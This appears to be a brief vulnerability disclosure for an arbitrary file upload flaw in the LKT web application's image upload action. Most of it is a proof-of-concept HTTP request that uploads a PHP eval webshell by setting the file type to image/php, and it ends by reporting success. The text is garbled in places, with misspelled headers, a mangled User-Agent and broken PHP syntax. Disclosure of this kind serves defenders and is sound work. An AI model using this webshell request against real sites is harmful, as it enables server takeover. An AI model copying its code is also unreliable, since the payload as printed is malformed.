There is an arbitrary file upload getshell vulnerability in the background

[S2eTo]

Descriotion

There is an arbitrary file upload vulnerability in the background. An administrator user attacker can upload a .php file to execute malicious code through this vulnerability, thereby gaining control of the system. An attacker can use it to upload a .php file to execute malicious code, thereby obtaining system of control.

Vulnerability details

File Path: LKT/webapp/modules/extension/actions/uploadImgAction.class.php::execute

This method incorrectly splices untrusted file types, resulting in arbitrary file uploads

By modifying the file type in the file upload protocol to: image/php to upload webshell

POST /LKT/index.php?module=extension&action=uploadImg HTTP/1.1
Host: 192.168.157.130
Content-Length: 232
Cache-Control:max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.157.1
Content-Type: multipart/form-data;boundary=----WebKitFormBoundaryGTdxAdrEarGLzRWy
User-Agent: Moz1lla/50(Windows N00: Wn64: x64)AppleWebK1t/53736(KFIML like Gecko) Chrome/103.0.5060.134 Safari/537.36
Accept : text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8.application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

------WebKitFormBoundaryGTdxAdrEarGLzRWy
Content-Dispositiop:form-data; name="file"; filename="123123.php"
Content-Type: image/php

<?php
var dump($ POST);
@eval($ POST['cmd']);
?>
-----WebKitFormBoundaryGTdxAdrEarGLzRWy

Uploaded webshell successfully